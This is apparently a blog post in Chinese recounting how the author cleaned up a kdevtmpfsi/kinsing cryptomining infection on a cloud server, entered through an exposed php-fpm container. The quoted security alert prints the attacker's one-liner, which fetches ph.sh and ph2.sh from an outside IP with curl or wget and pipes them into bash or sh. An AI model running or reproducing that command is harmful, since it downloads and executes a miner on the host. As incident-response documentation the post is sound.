• 云服务器处置挖矿病毒 kdevtmpfsi


    查看告警信息

    昨天刚在服务器中通过 docker 上线了一个 Nginx+PHP 站点(双容器链接),半夜时分就接收到了阿里云发来的告警信息。

    恶意脚本代码执行 紧急
    发生时间:2022-05-19 00:54:55
    IP:*** ***
    告警描述:检测模型发现您的服务器上正在执行恶意的Bash、Powershell、Python等脚本代码。
    
    异常事件详情
    命令行:curl -s http://185.14.30.35/ph.sh
    进程PID:14065
    进程文件名:curl
    父进程ID:14063
    父进程:bash
    父进程文件路径:/usr/bin/bash
    
    进程链:
    -[874]  /usr/bin/containerd
        -[13606]  containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
            -[13613]  runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac --pid-file /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/init.pid e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac
                -[13622]  php-fpm
                    -[13673]  php-fpm
                        -[14062]  sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh
                            -[14063]  sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh
    
    事件说明:云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于bash、powershell、python),请立刻排查入侵来源。如果是您的运维行为,请选择忽略。
    

    分析恶意代码来源

    基本上就是两种情况:一是外部攻破了防火墙,通过SSH或者注入执行的脚本;二是此前上线的站点中存在恶意代码。

    由于我使用的是密钥文件登录而禁用了密码,基本上可以确定是本地文件的问题。

    根据告警信息,提示了一个 IPv4地址的服务器。想都不用想,IP 地址肯定做了中转,一查显示“荷兰弗莱福兰”,直接略过。

    更重要的是 “php-fpm” 这一提示,说明 Nginx 交由 php-fpm 解析的文件中存在问题。

    进行处置

    停止运行

    SSH 上服务器后,top 查看有没有异常程序,发现了 CPU 满占用的进程 kdevtmpfsi 。网上搜索它其实是一个挖矿程序,由 kinsing 进程守护。

    ps -ef | grep kdevtmpfsi
    systemctl status [kdevtmpfsi PID]
    # 若病毒进程隐藏的好,或者像我使用的是轻量级应用服务器,这一步其实看不到什么信息
    ps -ef | grep kinsing
    
    kill -9 [kdevtmpfsi PID] [kinsing PID]
    # 临时强制停止服务,恶意程序会自启,要抓紧时间找到源文件
    

    找到病毒源文件

    find / -name "kdevtmpfsi"
    find / -name "kinsing"
    

    主机中搜索相关文件,发现在 /tmp/ 和类似 /var/lib/docker/ovorlay2/****/tmp/kdevtmpfsi 中找到文件。先删除能删的,无法删除的提示“无效句柄”的都在 docker 容器中。

    find / -name "kdevtmpfsi" | xargs rm -rf
    find / -name "kinsing" | xargs rm -rf
    

    因 Nginx 将 PHP 文件交由 php-fpm 容器渲染,恶意挖矿程序大概率在 php-fpm 容器中。

    现将上线的 PHP 文件打包备份用于之后在沙箱中分析,删除原 PHP 文件。

    接下来分析 php-fpm 容器中的进程,发现确实在该容器中运行。

    docker top php-fpm-rc
    

    docker 官方上传的镜像一般没有什么问题,需要将 php-fpm 容器(连同其数据卷一同)删除。

    至此,病毒理应不会再次上线。

    幸亏每次上线服务前,我都会存个快照,为防止病毒没有删除干净,恢复快照重新来过。

    沙箱分析

    通过沙箱分析未发现有恶意代码,考虑到 kdevtmpfsi 挖矿病毒出来时间已经几年了,分析结果应该可信。说明是服务器被攻击执行的恶意代码。

    检查服务器防火墙

    核实服务器端口权限

    官方 php-fpm 容器默认端口为 9000 ,可能攻击者因此会共计所有 9000端口开放的主机,所以需要配置访问来源规则 ***.***.***.***/0 ,或者修改为其他端口。而我使用的9000端口则是之前一个开放的访问端口,未作修改,现将端口权限修改再做测试。

  • 相关阅读:
    libcurl进行HTTP GET获取JSON数据(转载)
    c/c++ 动态申请数组(转载)
    利用注册表写开机启动程序(转载)
    VC++使用IMAPI调用Outlook邮箱客户端和Foxmail邮箱客户端遇到的问题
    解决Duilib集成CEF浏览器在Win10无法向客户区拖拽文件
    解决往监控目录拖拽文件夹无法监控到的问题
    VC++ 实现修改文件创建、访问、修改时间属性(转载)
    Windows中的时间(SYSTEMTIME和FILETIME) (转载)
    ThinkPHP真正疑难问题笔记
    git版本控制管理实践-4
  • 原文地址:https://www.cnblogs.com/Yogile/p/16294943.html
Copyright © 2020-2023  润新知